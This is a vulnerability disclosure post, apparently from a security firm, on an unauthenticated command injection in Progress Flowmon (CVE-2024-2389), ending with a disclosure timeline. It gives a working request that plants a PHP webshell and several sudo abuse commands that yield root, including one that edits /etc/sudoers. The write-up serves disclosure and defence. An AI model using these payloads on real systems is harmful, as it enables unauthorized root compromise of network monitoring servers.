After our initial research into other Progress products we decided to take a look at another Progress product, Flowmon. This led to the discovery of an unauthenticated command injection vulnerability, which when coupled with a privilege escalation allows full compromise as root of the Flowmon server. This vulnerability was assigned CVE-2024-2389.
Progress Flowmon is a network monitoring and analysis tool that provides comprehensive insights into network traffic, performance, and security. Flowmon leverages the Nette PHP framework for its web application.
We began enumerating the unauthenticated endpoints in “AllowedModulesDecider.php” file, a component delineating module access within Progress Flowmon. It contains the “ALLOWED_TO_UNLOGGED_USERS” array, defining modules accessible without authentication. After skimming the code of the allowed modules in the list, “Service:Pdfs:Confluence” stood out as having some interesting code in it relating to generating PDFs. The path to this module in the Nette framework is “/service.pdfs/confluence”.
This image shows the modules which are defined as ALLOWED_TO_UNLOGGED_USER (unauthenticated users) in the AllowedModulesDecider.php.
Focusing on the “Service:Pdfs:Confluence” module, we discovered it is linked to the service’s PDF generation functionality. Specifically, the process is handled in “ConfluencePresenter.php”, which processes incoming requests and delegates operations to “PdfGenerator.generate()”.
The default action for ConfluencePresenter.php takes the parameters pluginPath, locale, and file [1] directly from user input. These inputs are then used to construct a URL and file output string [2, 3] which are then passed to pdfGenerator.generate() as settings.
Within “PdfGenerator.php”, the generate() method [1] is just a wrapper for calling the getExec.run() [2] method, which executes system commands.
The assembled command string is passed to the run() method [2] as the first argument.
It should be noted, the run() method also accepts a second argument which is an array of arguments which will be enclosed in quotes using escapeshellarg(), preventing command injection. Had the arguments in as an array in the second argument of run() it is unlikely this would have been exploitable as each item in the array is treated as an argument and passed through escapeshellarg() when assembleCommand() is called on it.
But in this case the command is passed in as a single string which then gets passed directly to exec() [1]. With this, it is possible to escape the command using shell control characters, and execute arbitrary commands.
By manipulating the pluginPath or file parameters to embed malicious commands using command substitution, $() or “, it is possible to break out of the intended command and execute arbitrary commands. The command executes blindly so it is not possible to see the output of the executed command, but it is possible to write a webshell to /var/www/shtml/.
A request to the following path:
/service.pdfs/confluence?file=userguide&lang=x&pluginPath=$(echo+PD9waHAgaWYoaXNzZXQoJF9HRVRbJ2NtZCddKSl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fT8%2b+|+base64+-d+>/var/www/shtml/rce.php)
Would result in a webshell being written to “/rce.php”.
Once command execution is achieved, the application runs as the “flowmon” user so command will be executed as this user. The flowmon user can run several commands with sudo and several of the commands can be abused to obtain a root shell.
The following methods require an interactive shell. Some methods are from https://gtfobins.github.io/.
# ip command: sudo ip netns add foo sudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar sudo ip netns exec bar /bin/bash sudo ip netns delete foo sudo ip netns delete bar # Abusing the timedatectl command: sudo timedatectl list-timezones !/bin/bash #Abusing journalctl sudo journalctl !/bin/bash
Additionally, it is possible to abuse sudo permissions to execute PHP code:
# Overwrite and execute PHP. This would allow the flowmon user to then execute any command with sudo permissions. cp /var/www/shtml/index.php /tmp/index.php.bak echo '<?php system("echo \"ADMINS ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers"); ?>' > /var/www/shtml/index.php sudo /usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource s cp /tmp/index.php.bak /var/www/shtml/index.php
We have created a proof of concept exploit in our CVE GitHub repository. We also have created a Metasploit module which is currently in the process of being merged into the main project but the module itself is available in the CVE repository as well.
This exploration not only exposes a specific vulnerability in Progress Flowmon but also underscores the imperative of rigorous validation and authentication mechanisms in safeguarding applications. As we collaborate with Progress to fortify their defenses, this instance epitomizes the ongoing cat-and-mouse game in cybersecurity vigilance.
In closing, we invite our readers to peruse additional resources and proof-of-concept demonstrations on our GitHub. Stay informed and engaged with us through our various channels for more insights into the cybersecurity realm.
As always, feel free to follow us on Twitter or LinkedIn and jo in our Discord server for more releases and blog posts.
Twitter: https://twitter.com/rhinosecurity
LinkedIn: https://www.linkedin.com/company/rhino-security-labs/
Discord: https://discord.gg/TUuH26G5
Researcher/Author: https://twitter.com/daveysec
03/05/2024 | Rhino Disclosed the vulnerability to Progress |
03/07/2024 | Progress Software triaged the vulnerability |
03/13/2024 | Rhino provided further information regarding privilege escalation |
04/02/2024 | Progress Software notifies Rhino of a patch release and advisory |